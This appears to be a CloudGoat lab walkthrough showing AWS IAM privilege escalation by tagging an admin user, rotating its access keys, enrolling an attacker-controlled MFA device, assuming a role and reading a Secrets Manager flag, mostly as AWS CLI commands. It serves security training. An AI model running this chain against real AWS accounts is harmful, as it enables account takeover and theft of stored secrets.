Cloudgoat-Iam_Privesc_by_Key_Rotation

,

CloudGoat IAM Privilege Escalation by Key Rotation - Complete Walkthrough

In this walkthrough, we’ll explore the CloudGoat scenario “iam_privesc_by_key_rotation”, which demonstrates a common AWS privilege escalation technique involving IAM user tagging and access key manipulation. This scenario teaches us how misconfigured IAM policies can lead to complete account compromise.

Environment Setup

First, let’s set up our CloudGoat environment and whitelist our IP address:

1
cloudgoat config whitelist --auto

Now we can create the vulnerable environment:

1
cloudgoat create iam_privesc_by_key_rotation

After successful deployment, you’ll receive initial credentials:

1
2
3
aws_account_id = [REDACTED]
manager_access_key_id = [REDACTED]
manager_secret_access_key = [REDACTED]

Initial Reconnaissance

I’ll use my custom AWS enumeration tool (AWS_enum) to gather information about our current permissions. The tool reveals several interesting inline policies attached to our user.

Policy Analysis

The reconnaissance reveals three critical policies:

1. IAM Read Permissions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "iam:GenerateCredentialReport",
        "iam:GenerateServiceLastAccessedDetails",
        "iam:Get*",
        "iam:List*",
        "iam:SimulateCustomPolicy",
        "iam:SimulatePrincipalPolicy"
      ],
      "Resource": "*"
    }
  ]
}

2. Tag Management Policy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "TagResources",
      "Effect": "Allow",
      "Action": [
        "iam:UntagUser",
        "iam:UntagRole",
        "iam:TagRole",
        "iam:UntagMFADevice",
        "iam:UntagPolicy",
        "iam:TagMFADevice",
        "iam:TagPolicy",
        "iam:TagUser"
      ],
      "Resource": "*"
    }
  ]
}

3. Self-Management Policy (The Key Vulnerability)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "SelfManageAccess",
      "Effect": "Allow",
      "Action": [
        "iam:DeactivateMFADevice",
        "iam:GetMFADevice",
        "iam:EnableMFADevice",
        "iam:ResyncMFADevice",
        "iam:DeleteAccessKey",
        "iam:UpdateAccessKey",
        "iam:CreateAccessKey"
      ],
      "Resource": [
        "arn:aws:iam::ACCOUNT-ID:user/*",
        "arn:aws:iam::ACCOUNT-ID:mfa/*"
      ],
      "Condition": {
        "StringEquals": {
          "aws:ResourceTag/developer": "true"
        }
      }
    }
  ]
}

The Attack Vector

The vulnerability lies in the combination of these policies:

  1. We can tag any user with TagUser permission
  2. We can create access keys for users tagged with developer=true
  3. The resource condition allows access to any user with the developer tag

Exploitation Phase

Step 1: Configure AWS Profile

1
aws configure --profile manager

Verify our current identity:

1
aws sts get-caller-identity --profile manager

Step 2: Find Target Users

List all users in the account to find potential targets:

1
aws iam list-users --profile manager

We discover an admin user: admin_cgidXXXXXXXXXX

Step 3: Tag the Target User

Apply the developer tag to the admin user:

1
2
3
4
aws iam tag-user \
  --user-name admin_cgidXXXXXXXXXX \
  --tags Key=developer,Value=true \
  --profile manager

Step 4: Handle Access Key Limits

Attempt to create a new access key:

1
2
3
aws iam create-access-key \
  --user-name admin_cgidXXXXXXXXXX \
  --profile manager

If you encounter a quota error (users can only have 2 access keys), list existing keys:

1
2
3
aws iam list-access-keys \
  --user-name admin_cgidXXXXXXXXXX \
  --profile manager

Delete one of the inactive keys:

1
2
3
4
aws iam delete-access-key \
  --user-name admin_cgidXXXXXXXXXX \
  --access-key-id [INACTIVE-KEY-ID] \
  --profile manager

Step 5: Create New Access Key

Now create a new access key for the admin user:

1
2
3
aws iam create-access-key \
  --user-name admin_cgidXXXXXXXXXX \
  --profile manager

Success! We now have admin credentials.

Admin Account Enumeration

Configure a new profile with the admin credentials and enumerate permissions:

1
aws configure --profile admin

Using our enumeration tool reveals an additional policy allowing role assumption:

1
2
3
4
5
6
7
8
9
10
11
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AssumeRole",
      "Effect": "Allow",
      "Action": "sts:AssumeRole",
      "Resource": "arn:aws:iam::ACCOUNT-ID:role/cg_secretsmanager_cgidXXXXXXXXXX"
    }
  ]
}

However, examining the role’s trust policy reveals an MFA requirement:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::ACCOUNT-ID:root"
      },
      "Action": "sts:AssumeRole",
      "Condition": {
        "Bool": {
          "aws:MultiFactorAuthPresent": "true"
        }
      }
    }
  }
}

MFA Setup and Bypass

Step 1: Create Virtual MFA Device

Using our manager account (which has MFA management permissions):

1
2
3
4
5
aws iam create-virtual-mfa-device \
  --virtual-mfa-device-name admin-mfa \
  --outfile /tmp/admin-mfa-qr.png \
  --bootstrap-method QRCodePNG \
  --profile manager

Step 2: Enable MFA Device

Scan the QR code with an authenticator app, then enable the device:

1
2
3
4
5
6
aws iam enable-mfa-device \
  --user-name admin_cgidXXXXXXXXXX \
  --serial-number arn:aws:iam::ACCOUNT-ID:mfa/admin-mfa \
  --authentication-code1 [CODE1] \
  --authentication-code2 [CODE2] \
  --profile manager

Step 3: Verify MFA Setup

1
aws iam list-mfa-devices --user-name admin_cgidXXXXXXXXXX --profile manager

Role Assumption and Secret Access

Assume the Privileged Role

With MFA configured, we can now assume the secrets manager role:

1
2
3
4
5
6
aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT-ID:role/cg_secretsmanager_cgidXXXXXXXXXX \
  --role-session-name admin-session \
  --serial-number arn:aws:iam::ACCOUNT-ID:mfa/admin-mfa \
  --token-code [MFA-CODE] \
  --profile admin

Configure the temporary credentials and verify the assumed role:

1
aws sts get-caller-identity --profile assumed-role

Extract the Secret

List available secrets:

1
aws secretsmanager list-secrets --profile assumed-role

Retrieve the flag:

1
2
3
aws secretsmanager get-secret-value \
  --secret-id cg_secret_cgidXXXXXXXXXX \
  --profile assumed-role

Success! We’ve retrieved the flag: flag{14m_PERM15510N5_4Re_5C4R_85ee********************************************}

Automated Exploitation

For those interested in automation, my AWS enumeration tool can identify and exploit these vulnerabilities automatically:

1
python3 aws_auditor.py

Key Takeaways

This scenario demonstrates several critical AWS security concepts:

  1. Tag-based Access Control Risks: Overly permissive tagging policies can lead to privilege escalation
  2. IAM Policy Interactions: The combination of seemingly innocuous permissions can create dangerous attack paths
  3. Access Key Management: Proper access key lifecycle management is crucial
  4. MFA Implementation: While MFA adds security, it can be bypassed when attackers have sufficient IAM permissions

Cleanup

Always clean up your CloudGoat environments:

1
cloudgoat destroy iam_privesc_by_key_rotation

Conclusion

The iam_privesc_by_key_rotation scenario effectively demonstrates how IAM misconfigurations can lead to complete account compromise. The key lesson is that AWS IAM policies should follow the principle of least privilege, and tag-based access controls require careful consideration of their security implications.

By understanding these attack vectors, security professionals can better defend against similar vulnerabilities in production AWS environments.